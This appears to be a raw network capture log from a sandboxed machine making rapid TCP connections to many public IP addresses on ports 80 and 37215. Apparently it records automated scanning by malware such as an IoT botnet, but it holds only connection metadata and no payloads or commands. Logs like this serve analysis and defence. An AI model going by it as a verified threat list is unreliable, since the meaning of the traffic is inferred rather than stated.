Jan 5, 2025 14:34:53.038649082 CET	29477	80	192.168.2.13	1.123.249.151
Jan 5, 2025 14:34:53.038659096 CET	29477	80	192.168.2.13	157.199.117.200
Jan 5, 2025 14:34:53.038661003 CET	29477	80	192.168.2.13	125.79.4.241
Jan 5, 2025 14:34:53.038661003 CET	29477	80	192.168.2.13	25.156.108.142
Jan 5, 2025 14:34:53.038696051 CET	29477	80	192.168.2.13	189.62.121.34
Jan 5, 2025 14:34:53.038696051 CET	29477	80	192.168.2.13	38.13.17.37
Jan 5, 2025 14:34:53.038697004 CET	29477	80	192.168.2.13	80.34.255.158
Jan 5, 2025 14:34:53.038696051 CET	29477	80	192.168.2.13	81.242.144.144
Jan 5, 2025 14:34:53.038697004 CET	29477	80	192.168.2.13	222.160.158.31
Jan 5, 2025 14:34:53.038697004 CET	29477	80	192.168.2.13	177.181.127.141
Jan 5, 2025 14:34:53.038697004 CET	29477	80	192.168.2.13	24.133.19.249
Jan 5, 2025 14:34:53.038710117 CET	29477	80	192.168.2.13	220.21.205.179
Jan 5, 2025 14:34:53.038712025 CET	29477	80	192.168.2.13	120.79.176.37
Jan 5, 2025 14:34:53.038722038 CET	29477	80	192.168.2.13	99.166.221.146
Jan 5, 2025 14:34:53.038722038 CET	29477	80	192.168.2.13	194.63.71.141
Jan 5, 2025 14:34:53.038733006 CET	29477	80	192.168.2.13	220.65.68.165
Jan 5, 2025 14:34:53.038733006 CET	29477	80	192.168.2.13	84.19.114.87
Jan 5, 2025 14:34:53.038736105 CET	29477	80	192.168.2.13	219.95.79.134
Jan 5, 2025 14:34:53.038736105 CET	29477	80	192.168.2.13	85.248.67.24
Jan 5, 2025 14:34:53.038743019 CET	29477	80	192.168.2.13	88.95.178.136
Jan 5, 2025 14:34:53.038743019 CET	29477	80	192.168.2.13	115.184.218.185
Jan 5, 2025 14:34:53.038749933 CET	29477	80	192.168.2.13	223.75.193.80
Jan 5, 2025 14:34:53.038749933 CET	29477	80	192.168.2.13	223.69.171.81
Jan 5, 2025 14:34:53.038764000 CET	29477	80	192.168.2.13	112.75.157.34
Jan 5, 2025 14:34:53.038765907 CET	29477	80	192.168.2.13	34.226.182.174
Jan 5, 2025 14:34:53.038765907 CET	29477	80	192.168.2.13	75.82.130.107
Jan 5, 2025 14:34:53.038774014 CET	29477	80	192.168.2.13	78.35.104.169
Jan 5, 2025 14:34:53.038781881 CET	29477	80	192.168.2.13	12.2.91.155
Jan 5, 2025 14:34:53.038801908 CET	29477	80	192.168.2.13	182.55.43.194
Jan 5, 2025 14:34:53.038803101 CET	29477	80	192.168.2.13	48.250.83.68
Jan 5, 2025 14:34:53.038804054 CET	29477	80	192.168.2.13	165.121.99.125
Jan 5, 2025 14:34:53.038810015 CET	29477	80	192.168.2.13	98.52.134.125
Jan 5, 2025 14:34:53.038815022 CET	29477	80	192.168.2.13	195.72.116.4
Jan 5, 2025 14:34:53.038830042 CET	29477	80	192.168.2.13	58.250.186.71
Jan 5, 2025 14:34:53.038832903 CET	29477	80	192.168.2.13	118.199.57.29
Jan 5, 2025 14:34:53.038861990 CET	29477	80	192.168.2.13	34.214.53.47
Jan 5, 2025 14:34:53.038954973 CET	38054	80	192.168.2.13	102.228.238.136
Jan 5, 2025 14:34:53.038990021 CET	38054	80	192.168.2.13	102.228.238.136
Jan 5, 2025 14:34:53.039556026 CET	38688	80	192.168.2.13	102.228.238.136
Jan 5, 2025 14:34:53.040075064 CET	51812	80	192.168.2.13	169.129.160.250
Jan 5, 2025 14:34:53.040075064 CET	51812	80	192.168.2.13	169.129.160.250
Jan 5, 2025 14:34:53.040236950 CET	80	51310	86.6.121.248	192.168.2.13
Jan 5, 2025 14:34:53.040287971 CET	51310	80	192.168.2.13	86.6.121.248
Jan 5, 2025 14:34:53.040473938 CET	52338	80	192.168.2.13	169.129.160.250
Jan 5, 2025 14:34:53.041034937 CET	40792	80	192.168.2.13	19.186.177.83
Jan 5, 2025 14:34:53.041035891 CET	40792	80	192.168.2.13	19.186.177.83
Jan 5, 2025 14:34:53.041415930 CET	41292	80	192.168.2.13	19.186.177.83
Jan 5, 2025 14:34:53.041860104 CET	46086	80	192.168.2.13	160.116.38.154
Jan 5, 2025 14:34:53.041860104 CET	46086	80	192.168.2.13	160.116.38.154
Jan 5, 2025 14:34:53.042479992 CET	46498	80	192.168.2.13	160.116.38.154
Jan 5, 2025 14:34:53.042915106 CET	50644	80	192.168.2.13	167.80.67.59
Jan 5, 2025 14:34:53.042915106 CET	50644	80	192.168.2.13	167.80.67.59
Jan 5, 2025 14:34:53.043301105 CET	51040	80	192.168.2.13	167.80.67.59
Jan 5, 2025 14:34:53.043515921 CET	37215	59402	197.199.121.75	192.168.2.13
Jan 5, 2025 14:34:53.043528080 CET	37215	49940	156.108.75.55	192.168.2.13
Jan 5, 2025 14:34:53.043709993 CET	80	38054	102.228.238.136	192.168.2.13
Jan 5, 2025 14:34:53.043739080 CET	47258	80	192.168.2.13	191.71.162.219
Jan 5, 2025 14:34:53.043752909 CET	47258	80	192.168.2.13	191.71.162.219
Jan 5, 2025 14:34:53.044122934 CET	47610	80	192.168.2.13	191.71.162.219
Jan 5, 2025 14:34:53.044572115 CET	54932	80	192.168.2.13	196.192.115.255
Jan 5, 2025 14:34:53.044593096 CET	54932	80	192.168.2.13	196.192.115.255
Jan 5, 2025 14:34:53.044806004 CET	80	51812	169.129.160.250	192.168.2.13
Jan 5, 2025 14:34:53.044888973 CET	55264	80	192.168.2.13	196.192.115.255
Jan 5, 2025 14:34:53.045341015 CET	57274	80	192.168.2.13	154.179.240.225
Jan 5, 2025 14:34:53.045341969 CET	57274	80	192.168.2.13	154.179.240.225
Jan 5, 2025 14:34:53.045772076 CET	57544	80	192.168.2.13	154.179.240.225
Jan 5, 2025 14:34:53.045851946 CET	80	40792	19.186.177.83	192.168.2.13
Jan 5, 2025 14:34:53.046305895 CET	49294	80	192.168.2.13	172.222.47.240
Jan 5, 2025 14:34:53.046305895 CET	49294	80	192.168.2.13	172.222.47.240
Jan 5, 2025 14:34:53.046632051 CET	49540	80	192.168.2.13	172.222.47.240
Jan 5, 2025 14:34:53.046646118 CET	80	46086	160.116.38.154	192.168.2.13
Jan 5, 2025 14:34:53.047188044 CET	47698	80	192.168.2.13	125.253.31.3
Jan 5, 2025 14:34:53.047188044 CET	47698	80	192.168.2.13	125.253.31.3
Jan 5, 2025 14:34:53.047489882 CET	37215	40130	197.132.40.247	192.168.2.13
Jan 5, 2025 14:34:53.047502995 CET	37215	56562	41.182.70.62	192.168.2.13
Jan 5, 2025 14:34:53.047513962 CET	37215	44044	156.64.87.47	192.168.2.13
Jan 5, 2025 14:34:53.047564030 CET	47828	80	192.168.2.13	125.253.31.3
Jan 5, 2025 14:34:53.047688961 CET	80	50644	167.80.67.59	192.168.2.13
Jan 5, 2025 14:34:53.048039913 CET	50742	80	192.168.2.13	186.171.85.18
Jan 5, 2025 14:34:53.048039913 CET	50742	80	192.168.2.13	186.171.85.18
Jan 5, 2025 14:34:53.048504114 CET	80	47258	191.71.162.219	192.168.2.13
Jan 5, 2025 14:34:53.048516989 CET	50830	80	192.168.2.13	186.171.85.18
Jan 5, 2025 14:34:53.048907995 CET	80	47610	191.71.162.219	192.168.2.13
Jan 5, 2025 14:34:53.049108028 CET	47610	80	192.168.2.13	191.71.162.219
Jan 5, 2025 14:34:53.049108028 CET	47610	80	192.168.2.13	191.71.162.219
Jan 5, 2025 14:34:53.049277067 CET	51310	80	192.168.2.13	86.6.121.248
Jan 5, 2025 14:34:53.049277067 CET	51310	80	192.168.2.13	86.6.121.248
Jan 5, 2025 14:34:53.049335003 CET	80	54932	196.192.115.255	192.168.2.13
Jan 5, 2025 14:34:53.049597979 CET	51336	80	192.168.2.13	86.6.121.248
Jan 5, 2025 14:34:53.050185919 CET	80	57274	154.179.240.225	192.168.2.13
Jan 5, 2025 14:34:53.051034927 CET	80	49294	172.222.47.240	192.168.2.13
Jan 5, 2025 14:34:53.051532984 CET	37215	57124	41.72.218.62	192.168.2.13
Jan 5, 2025 14:34:53.051544905 CET	37215	56562	41.214.12.69	192.168.2.13
Jan 5, 2025 14:34:53.051992893 CET	80	47698	125.253.31.3	192.168.2.13
Jan 5, 2025 14:34:53.052917004 CET	80	50742	186.171.85.18	192.168.2.13
Jan 5, 2025 14:34:53.053993940 CET	80	47610	191.71.162.219	192.168.2.13
Jan 5, 2025 14:34:53.054091930 CET	47610	80	192.168.2.13	191.71.162.219
Jan 5, 2025 14:34:53.054116964 CET	80	51310	86.6.121.248	192.168.2.13
Jan 5, 2025 14:34:53.059545994 CET	37215	35934	197.169.104.42	192.168.2.13
Jan 5, 2025 14:34:53.059560061 CET	37215	45200	197.49.199.148	192.168.2.13
Jan 5, 2025 14:34:53.059568882 CET	37215	35762	197.112.77.190	192.168.2.13
Jan 5, 2025 14:34:53.063551903 CET	37215	46538	156.229.176.50	192.168.2.13
Jan 5, 2025 14:34:53.063565016 CET	37215	47552	156.141.101.219	192.168.2.13
Jan 5, 2025 14:34:53.067533016 CET	37215	39302	41.56.98.126	192.168.2.13
Jan 5, 2025 14:34:53.067547083 CET	37215	44110	156.58.77.185	192.168.2.13
Jan 5, 2025 14:34:53.075546026 CET	37215	51950	156.139.201.209	192.168.2.13
Jan 5, 2025 14:34:53.075562000 CET	37215	38462	41.86.194.51	192.168.2.13
Jan 5, 2025 14:34:53.087559938 CET	80	46086	160.116.38.154	192.168.2.13
Jan 5, 2025 14:34:53.087572098 CET	80	40792	19.186.177.83	192.168.2.13
Jan 5, 2025 14:34:53.087580919 CET	80	51812	169.129.160.250	192.168.2.13
Jan 5, 2025 14:34:53.087590933 CET	80	38054	102.228.238.136	192.168.2.13
Jan 5, 2025 14:34:53.091538906 CET	80	49294	172.222.47.240	192.168.2.13
Jan 5, 2025 14:34:53.091550112 CET	80	57274	154.179.240.225	192.168.2.13
Jan 5, 2025 14:34:53.091558933 CET	80	54932	196.192.115.255	192.168.2.13
Jan 5, 2025 14:34:53.091569901 CET	80	47258	191.71.162.219	192.168.2.13
Jan 5, 2025 14:34:53.091578960 CET	80	50644	167.80.67.59	192.168.2.13
Jan 5, 2025 14:34:53.095546007 CET	80	51310	86.6.121.248	192.168.2.13
Jan 5, 2025 14:34:53.095556974 CET	80	50742	186.171.85.18	192.168.2.13
Jan 5, 2025 14:34:53.095567942 CET	80	47698	125.253.31.3	192.168.2.13
Jan 5, 2025 14:34:53.246167898 CET	59666	51162	92.118.56.203	192.168.2.13
Jan 5, 2025 14:34:53.246423006 CET	51162	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:34:53.251256943 CET	59666	51162	92.118.56.203	192.168.2.13
Jan 5, 2025 14:34:53.744182110 CET	43754	80	192.168.2.13	75.150.125.115
Jan 5, 2025 14:34:53.744183064 CET	50372	37215	192.168.2.13	156.218.187.106
Jan 5, 2025 14:34:53.744182110 CET	43238	37215	192.168.2.13	156.211.32.141
Jan 5, 2025 14:34:53.744204044 CET	46624	37215	192.168.2.13	197.88.39.234
Jan 5, 2025 14:34:53.744210005 CET	57548	80	192.168.2.13	91.43.249.211
Jan 5, 2025 14:34:53.744204998 CET	33486	37215	192.168.2.13	156.219.91.159
Jan 5, 2025 14:34:53.744203091 CET	47904	37215	192.168.2.13	41.224.51.164
Jan 5, 2025 14:34:53.744211912 CET	37312	37215	192.168.2.13	197.54.31.40
Jan 5, 2025 14:34:53.744204998 CET	33226	37215	192.168.2.13	156.95.107.101
Jan 5, 2025 14:34:53.744203091 CET	55152	37215	192.168.2.13	41.177.65.72
Jan 5, 2025 14:34:53.744204998 CET	40850	37215	192.168.2.13	156.153.54.149
Jan 5, 2025 14:34:53.744210005 CET	35174	80	192.168.2.13	148.26.74.211
Jan 5, 2025 14:34:53.744203091 CET	44760	80	192.168.2.13	67.218.1.210
Jan 5, 2025 14:34:53.744215965 CET	47658	80	192.168.2.13	132.86.162.206
Jan 5, 2025 14:34:53.744204998 CET	45484	37215	192.168.2.13	41.182.67.227
Jan 5, 2025 14:34:53.744210005 CET	48668	37215	192.168.2.13	156.59.131.59
Jan 5, 2025 14:34:53.744215965 CET	39660	37215	192.168.2.13	197.236.132.149
Jan 5, 2025 14:34:53.744215965 CET	59136	37215	192.168.2.13	197.12.237.90
Jan 5, 2025 14:34:53.744215965 CET	58414	80	192.168.2.13	165.35.35.169
Jan 5, 2025 14:34:53.744215965 CET	33532	37215	192.168.2.13	41.146.88.94
Jan 5, 2025 14:34:53.744227886 CET	40204	37215	192.168.2.13	197.87.222.2
Jan 5, 2025 14:34:53.744227886 CET	53592	37215	192.168.2.13	156.224.24.81
Jan 5, 2025 14:34:53.744229078 CET	52564	37215	192.168.2.13	197.184.139.233
Jan 5, 2025 14:34:53.744229078 CET	35014	37215	192.168.2.13	41.126.221.108
Jan 5, 2025 14:34:53.744229078 CET	50230	37215	192.168.2.13	197.10.74.211
Jan 5, 2025 14:34:53.744235992 CET	51538	37215	192.168.2.13	41.177.145.25
Jan 5, 2025 14:34:53.744235992 CET	51530	37215	192.168.2.13	197.59.249.211
Jan 5, 2025 14:34:53.744247913 CET	55356	37215	192.168.2.13	197.45.188.115
Jan 5, 2025 14:34:53.744280100 CET	49584	37215	192.168.2.13	197.222.141.137
Jan 5, 2025 14:34:53.744301081 CET	48552	37215	192.168.2.13	197.25.242.105
Jan 5, 2025 14:34:53.749228001 CET	80	43754	75.150.125.115	192.168.2.13
Jan 5, 2025 14:34:53.749238968 CET	37215	50372	156.218.187.106	192.168.2.13
Jan 5, 2025 14:34:53.749248981 CET	37215	43238	156.211.32.141	192.168.2.13
Jan 5, 2025 14:34:53.749258995 CET	37215	37312	197.54.31.40	192.168.2.13
Jan 5, 2025 14:34:53.749267101 CET	80	57548	91.43.249.211	192.168.2.13
Jan 5, 2025 14:34:53.749275923 CET	80	35174	148.26.74.211	192.168.2.13
Jan 5, 2025 14:34:53.749284983 CET	37215	48668	156.59.131.59	192.168.2.13
Jan 5, 2025 14:34:53.749295950 CET	37215	40204	197.87.222.2	192.168.2.13
Jan 5, 2025 14:34:53.749308109 CET	43754	80	192.168.2.13	75.150.125.115
Jan 5, 2025 14:34:53.749308109 CET	43238	37215	192.168.2.13	156.211.32.141
Jan 5, 2025 14:34:53.749314070 CET	37215	53592	156.224.24.81	192.168.2.13
Jan 5, 2025 14:34:53.749317884 CET	35174	80	192.168.2.13	148.26.74.211
Jan 5, 2025 14:34:53.749317884 CET	57548	80	192.168.2.13	91.43.249.211
Jan 5, 2025 14:34:53.749317884 CET	48668	37215	192.168.2.13	156.59.131.59
Jan 5, 2025 14:34:53.749316931 CET	50372	37215	192.168.2.13	156.218.187.106
Jan 5, 2025 14:34:53.749316931 CET	37312	37215	192.168.2.13	197.54.31.40
Jan 5, 2025 14:34:53.749324083 CET	37215	51538	41.177.145.25	192.168.2.13
Jan 5, 2025 14:34:53.749316931 CET	40204	37215	192.168.2.13	197.87.222.2
Jan 5, 2025 14:34:53.749332905 CET	37215	51530	197.59.249.211	192.168.2.13
Jan 5, 2025 14:34:53.749341965 CET	37215	46624	197.88.39.234	192.168.2.13
Jan 5, 2025 14:34:53.749346018 CET	53592	37215	192.168.2.13	156.224.24.81
Jan 5, 2025 14:34:53.749358892 CET	51538	37215	192.168.2.13	41.177.145.25
Jan 5, 2025 14:34:53.749366045 CET	51530	37215	192.168.2.13	197.59.249.211
Jan 5, 2025 14:34:53.749367952 CET	46624	37215	192.168.2.13	197.88.39.234
Jan 5, 2025 14:34:53.749427080 CET	37215	33486	156.219.91.159	192.168.2.13
Jan 5, 2025 14:34:53.749437094 CET	37215	33226	156.95.107.101	192.168.2.13
Jan 5, 2025 14:34:53.749447107 CET	37215	47904	41.224.51.164	192.168.2.13
Jan 5, 2025 14:34:53.749456882 CET	33486	37215	192.168.2.13	156.219.91.159
Jan 5, 2025 14:34:53.749456882 CET	33226	37215	192.168.2.13	156.95.107.101
Jan 5, 2025 14:34:53.749461889 CET	37215	52564	197.184.139.233	192.168.2.13
Jan 5, 2025 14:34:53.749470949 CET	37215	40850	156.153.54.149	192.168.2.13
Jan 5, 2025 14:34:53.749483109 CET	37215	35014	41.126.221.108	192.168.2.13
Jan 5, 2025 14:34:53.749486923 CET	47904	37215	192.168.2.13	41.224.51.164
Jan 5, 2025 14:34:53.749491930 CET	80	47658	132.86.162.206	192.168.2.13
Jan 5, 2025 14:34:53.749494076 CET	52564	37215	192.168.2.13	197.184.139.233
Jan 5, 2025 14:34:53.749501944 CET	37215	50230	197.10.74.211	192.168.2.13
Jan 5, 2025 14:34:53.749504089 CET	40850	37215	192.168.2.13	156.153.54.149
Jan 5, 2025 14:34:53.749511957 CET	37215	45484	41.182.67.227	192.168.2.13
Jan 5, 2025 14:34:53.749521017 CET	35014	37215	192.168.2.13	41.126.221.108
Jan 5, 2025 14:34:53.749521971 CET	37215	39660	197.236.132.149	192.168.2.13
Jan 5, 2025 14:34:53.749526024 CET	47658	80	192.168.2.13	132.86.162.206
Jan 5, 2025 14:34:53.749530077 CET	50230	37215	192.168.2.13	197.10.74.211
Jan 5, 2025 14:34:53.749531984 CET	37215	55356	197.45.188.115	192.168.2.13
Jan 5, 2025 14:34:53.749541998 CET	37215	59136	197.12.237.90	192.168.2.13
Jan 5, 2025 14:34:53.749543905 CET	45484	37215	192.168.2.13	41.182.67.227
Jan 5, 2025 14:34:53.749552011 CET	80	58414	165.35.35.169	192.168.2.13
Jan 5, 2025 14:34:53.749552011 CET	39660	37215	192.168.2.13	197.236.132.149
Jan 5, 2025 14:34:53.749560118 CET	55356	37215	192.168.2.13	197.45.188.115
Jan 5, 2025 14:34:53.749561071 CET	37215	55152	41.177.65.72	192.168.2.13
Jan 5, 2025 14:34:53.749571085 CET	37215	33532	41.146.88.94	192.168.2.13
Jan 5, 2025 14:34:53.749576092 CET	59136	37215	192.168.2.13	197.12.237.90
Jan 5, 2025 14:34:53.749576092 CET	58414	80	192.168.2.13	165.35.35.169
Jan 5, 2025 14:34:53.749579906 CET	37215	49584	197.222.141.137	192.168.2.13
Jan 5, 2025 14:34:53.749588966 CET	55152	37215	192.168.2.13	41.177.65.72
Jan 5, 2025 14:34:53.749589920 CET	80	44760	67.218.1.210	192.168.2.13
Jan 5, 2025 14:34:53.749599934 CET	37215	48552	197.25.242.105	192.168.2.13
Jan 5, 2025 14:34:53.749613047 CET	33532	37215	192.168.2.13	41.146.88.94
Jan 5, 2025 14:34:53.749618053 CET	49584	37215	192.168.2.13	197.222.141.137
Jan 5, 2025 14:34:53.749619961 CET	44760	80	192.168.2.13	67.218.1.210
Jan 5, 2025 14:34:53.749629021 CET	48552	37215	192.168.2.13	197.25.242.105
Jan 5, 2025 14:34:53.749640942 CET	35174	80	192.168.2.13	148.26.74.211
Jan 5, 2025 14:34:53.749648094 CET	35174	80	192.168.2.13	148.26.74.211
Jan 5, 2025 14:34:53.749759912 CET	40204	37215	192.168.2.13	197.87.222.2
Jan 5, 2025 14:34:53.749773026 CET	40204	37215	192.168.2.13	197.87.222.2
Jan 5, 2025 14:34:53.750447989 CET	35876	80	192.168.2.13	148.26.74.211
Jan 5, 2025 14:34:53.750561953 CET	40946	37215	192.168.2.13	197.87.222.2
Jan 5, 2025 14:34:53.751277924 CET	57548	80	192.168.2.13	91.43.249.211
Jan 5, 2025 14:34:53.751277924 CET	57548	80	192.168.2.13	91.43.249.211
Jan 5, 2025 14:34:53.751493931 CET	48668	37215	192.168.2.13	156.59.131.59
Jan 5, 2025 14:34:53.751504898 CET	48668	37215	192.168.2.13	156.59.131.59
Jan 5, 2025 14:34:53.752074003 CET	58250	80	192.168.2.13	91.43.249.211
Jan 5, 2025 14:34:53.752187967 CET	49400	37215	192.168.2.13	156.59.131.59
Jan 5, 2025 14:34:53.752935886 CET	43754	80	192.168.2.13	75.150.125.115
Jan 5, 2025 14:34:53.752935886 CET	43754	80	192.168.2.13	75.150.125.115
Jan 5, 2025 14:34:53.753163099 CET	37312	37215	192.168.2.13	197.54.31.40
Jan 5, 2025 14:34:53.753191948 CET	37312	37215	192.168.2.13	197.54.31.40
Jan 5, 2025 14:34:53.753884077 CET	44446	80	192.168.2.13	75.150.125.115
Jan 5, 2025 14:34:53.753999949 CET	38046	37215	192.168.2.13	197.54.31.40
Jan 5, 2025 14:34:53.754693031 CET	80	35174	148.26.74.211	192.168.2.13
Jan 5, 2025 14:34:53.754703999 CET	37215	40204	197.87.222.2	192.168.2.13
Jan 5, 2025 14:34:53.754717112 CET	58414	80	192.168.2.13	165.35.35.169
Jan 5, 2025 14:34:53.754717112 CET	58414	80	192.168.2.13	165.35.35.169
Jan 5, 2025 14:34:53.754909992 CET	43238	37215	192.168.2.13	156.211.32.141
Jan 5, 2025 14:34:53.754909992 CET	43238	37215	192.168.2.13	156.211.32.141
Jan 5, 2025 14:34:53.755218029 CET	80	35876	148.26.74.211	192.168.2.13
Jan 5, 2025 14:34:53.755251884 CET	35876	80	192.168.2.13	148.26.74.211
Jan 5, 2025 14:34:53.755297899 CET	37215	40946	197.87.222.2	192.168.2.13
Jan 5, 2025 14:34:53.755328894 CET	40946	37215	192.168.2.13	197.87.222.2
Jan 5, 2025 14:34:53.755587101 CET	59132	80	192.168.2.13	165.35.35.169
Jan 5, 2025 14:34:53.755789042 CET	43944	37215	192.168.2.13	156.211.32.141
Jan 5, 2025 14:34:53.756002903 CET	80	57548	91.43.249.211	192.168.2.13
Jan 5, 2025 14:34:53.756278038 CET	37215	48668	156.59.131.59	192.168.2.13
Jan 5, 2025 14:34:53.756311893 CET	47658	80	192.168.2.13	132.86.162.206
Jan 5, 2025 14:34:53.756311893 CET	47658	80	192.168.2.13	132.86.162.206
Jan 5, 2025 14:34:53.756552935 CET	50372	37215	192.168.2.13	156.218.187.106
Jan 5, 2025 14:34:53.756552935 CET	50372	37215	192.168.2.13	156.218.187.106
Jan 5, 2025 14:34:53.756855965 CET	80	58250	91.43.249.211	192.168.2.13
Jan 5, 2025 14:34:53.756894112 CET	58250	80	192.168.2.13	91.43.249.211
Jan 5, 2025 14:34:53.756903887 CET	37215	49400	156.59.131.59	192.168.2.13
Jan 5, 2025 14:34:53.756937981 CET	49400	37215	192.168.2.13	156.59.131.59
Jan 5, 2025 14:34:53.757196903 CET	48364	80	192.168.2.13	132.86.162.206
Jan 5, 2025 14:34:53.757407904 CET	51078	37215	192.168.2.13	156.218.187.106
Jan 5, 2025 14:34:53.757724047 CET	80	43754	75.150.125.115	192.168.2.13
Jan 5, 2025 14:34:53.757999897 CET	37215	37312	197.54.31.40	192.168.2.13
Jan 5, 2025 14:34:53.758090973 CET	35876	80	192.168.2.13	148.26.74.211
Jan 5, 2025 14:34:53.758096933 CET	58250	80	192.168.2.13	91.43.249.211
Jan 5, 2025 14:34:53.758114100 CET	44760	80	192.168.2.13	67.218.1.210
Jan 5, 2025 14:34:53.758121967 CET	44760	80	192.168.2.13	67.218.1.210
Jan 5, 2025 14:34:53.758385897 CET	51530	37215	192.168.2.13	197.59.249.211
Jan 5, 2025 14:34:53.758385897 CET	51530	37215	192.168.2.13	197.59.249.211
Jan 5, 2025 14:34:53.758557081 CET	45474	80	192.168.2.13	67.218.1.210
Jan 5, 2025 14:34:53.758656979 CET	80	44446	75.150.125.115	192.168.2.13
Jan 5, 2025 14:34:53.758687973 CET	44446	80	192.168.2.13	75.150.125.115
Jan 5, 2025 14:34:53.758713007 CET	37215	38046	197.54.31.40	192.168.2.13
Jan 5, 2025 14:34:53.758749008 CET	38046	37215	192.168.2.13	197.54.31.40
Jan 5, 2025 14:34:53.759170055 CET	52300	37215	192.168.2.13	197.59.249.211
Jan 5, 2025 14:34:53.759388924 CET	44446	80	192.168.2.13	75.150.125.115
Jan 5, 2025 14:34:53.759545088 CET	80	58414	165.35.35.169	192.168.2.13
Jan 5, 2025 14:34:53.759690046 CET	37215	43238	156.211.32.141	192.168.2.13
Jan 5, 2025 14:34:53.759732962 CET	50230	37215	192.168.2.13	197.10.74.211
Jan 5, 2025 14:34:53.759732962 CET	50230	37215	192.168.2.13	197.10.74.211
Jan 5, 2025 14:34:53.760035038 CET	51000	37215	192.168.2.13	197.10.74.211
Jan 5, 2025 14:34:53.760334015 CET	80	59132	165.35.35.169	192.168.2.13
Jan 5, 2025 14:34:53.760396957 CET	53592	37215	192.168.2.13	156.224.24.81
Jan 5, 2025 14:34:53.760396957 CET	53592	37215	192.168.2.13	156.224.24.81
Jan 5, 2025 14:34:53.760400057 CET	59132	80	192.168.2.13	165.35.35.169
Jan 5, 2025 14:34:53.760400057 CET	59132	80	192.168.2.13	165.35.35.169
Jan 5, 2025 14:34:53.760570049 CET	37215	43944	156.211.32.141	192.168.2.13
Jan 5, 2025 14:34:53.760598898 CET	43944	37215	192.168.2.13	156.211.32.141
Jan 5, 2025 14:34:53.760704041 CET	54362	37215	192.168.2.13	156.224.24.81
Jan 5, 2025 14:34:53.761111021 CET	80	47658	132.86.162.206	192.168.2.13
Jan 5, 2025 14:34:53.761218071 CET	35014	37215	192.168.2.13	41.126.221.108
Jan 5, 2025 14:34:53.761218071 CET	35014	37215	192.168.2.13	41.126.221.108
Jan 5, 2025 14:34:53.761296988 CET	37215	50372	156.218.187.106	192.168.2.13
Jan 5, 2025 14:34:53.761698008 CET	35784	37215	192.168.2.13	41.126.221.108
Jan 5, 2025 14:34:53.762017012 CET	80	48364	132.86.162.206	192.168.2.13
Jan 5, 2025 14:34:53.762063026 CET	48364	80	192.168.2.13	132.86.162.206
Jan 5, 2025 14:34:53.762089968 CET	48364	80	192.168.2.13	132.86.162.206
Jan 5, 2025 14:34:53.762151003 CET	40946	37215	192.168.2.13	197.87.222.2
Jan 5, 2025 14:34:53.762166023 CET	49584	37215	192.168.2.13	197.222.141.137
Jan 5, 2025 14:34:53.762166977 CET	49584	37215	192.168.2.13	197.222.141.137
Jan 5, 2025 14:34:53.762171984 CET	37215	51078	156.218.187.106	192.168.2.13
Jan 5, 2025 14:34:53.762212038 CET	51078	37215	192.168.2.13	156.218.187.106
Jan 5, 2025 14:34:53.762445927 CET	50352	37215	192.168.2.13	197.222.141.137
Jan 5, 2025 14:34:53.762810946 CET	51538	37215	192.168.2.13	41.177.145.25
Jan 5, 2025 14:34:53.762810946 CET	51538	37215	192.168.2.13	41.177.145.25
Jan 5, 2025 14:34:53.762819052 CET	80	44760	67.218.1.210	192.168.2.13
Jan 5, 2025 14:34:53.762871027 CET	80	35876	148.26.74.211	192.168.2.13
Jan 5, 2025 14:34:53.762907982 CET	35876	80	192.168.2.13	148.26.74.211
Jan 5, 2025 14:34:53.763050079 CET	80	58250	91.43.249.211	192.168.2.13
Jan 5, 2025 14:34:53.763087988 CET	58250	80	192.168.2.13	91.43.249.211
Jan 5, 2025 14:34:53.763117075 CET	52306	37215	192.168.2.13	41.177.145.25
Jan 5, 2025 14:34:53.763123035 CET	37215	51530	197.59.249.211	192.168.2.13
Jan 5, 2025 14:34:53.763274908 CET	80	45474	67.218.1.210	192.168.2.13
Jan 5, 2025 14:34:53.763317108 CET	45474	80	192.168.2.13	67.218.1.210
Jan 5, 2025 14:34:53.763340950 CET	45474	80	192.168.2.13	67.218.1.210
Jan 5, 2025 14:34:53.763550997 CET	52564	37215	192.168.2.13	197.184.139.233
Jan 5, 2025 14:34:53.763550997 CET	52564	37215	192.168.2.13	197.184.139.233
Jan 5, 2025 14:34:53.763941050 CET	53332	37215	192.168.2.13	197.184.139.233
Jan 5, 2025 14:34:53.763972998 CET	37215	52300	197.59.249.211	192.168.2.13
Jan 5, 2025 14:34:53.764023066 CET	52300	37215	192.168.2.13	197.59.249.211
Jan 5, 2025 14:34:53.764182091 CET	80	44446	75.150.125.115	192.168.2.13
Jan 5, 2025 14:34:53.764293909 CET	55356	37215	192.168.2.13	197.45.188.115
Jan 5, 2025 14:34:53.764293909 CET	55356	37215	192.168.2.13	197.45.188.115
Jan 5, 2025 14:34:53.764314890 CET	44446	80	192.168.2.13	75.150.125.115
Jan 5, 2025 14:34:53.764484882 CET	37215	50230	197.10.74.211	192.168.2.13
Jan 5, 2025 14:34:53.764571905 CET	56122	37215	192.168.2.13	197.45.188.115
Jan 5, 2025 14:34:53.764833927 CET	37215	51000	197.10.74.211	192.168.2.13
Jan 5, 2025 14:34:53.764873028 CET	51000	37215	192.168.2.13	197.10.74.211
Jan 5, 2025 14:34:53.764939070 CET	33532	37215	192.168.2.13	41.146.88.94
Jan 5, 2025 14:34:53.764939070 CET	33532	37215	192.168.2.13	41.146.88.94
Jan 5, 2025 14:34:53.765161037 CET	37215	53592	156.224.24.81	192.168.2.13
Jan 5, 2025 14:34:53.765250921 CET	34298	37215	192.168.2.13	41.146.88.94
Jan 5, 2025 14:34:53.765414953 CET	80	59132	165.35.35.169	192.168.2.13
Jan 5, 2025 14:34:53.765453100 CET	59132	80	192.168.2.13	165.35.35.169
Jan 5, 2025 14:34:53.765490055 CET	37215	54362	156.224.24.81	192.168.2.13
Jan 5, 2025 14:34:53.765527964 CET	54362	37215	192.168.2.13	156.224.24.81
Jan 5, 2025 14:34:53.765641928 CET	49400	37215	192.168.2.13	156.59.131.59
Jan 5, 2025 14:34:53.765661955 CET	48552	37215	192.168.2.13	197.25.242.105
Jan 5, 2025 14:34:53.765661955 CET	48552	37215	192.168.2.13	197.25.242.105
Jan 5, 2025 14:34:53.766019106 CET	49314	37215	192.168.2.13	197.25.242.105
Jan 5, 2025 14:34:53.766041040 CET	37215	35014	41.126.221.108	192.168.2.13
Jan 5, 2025 14:34:53.766410112 CET	45484	37215	192.168.2.13	41.182.67.227
Jan 5, 2025 14:34:53.766411066 CET	45484	37215	192.168.2.13	41.182.67.227
Jan 5, 2025 14:34:53.766448021 CET	37215	35784	41.126.221.108	192.168.2.13
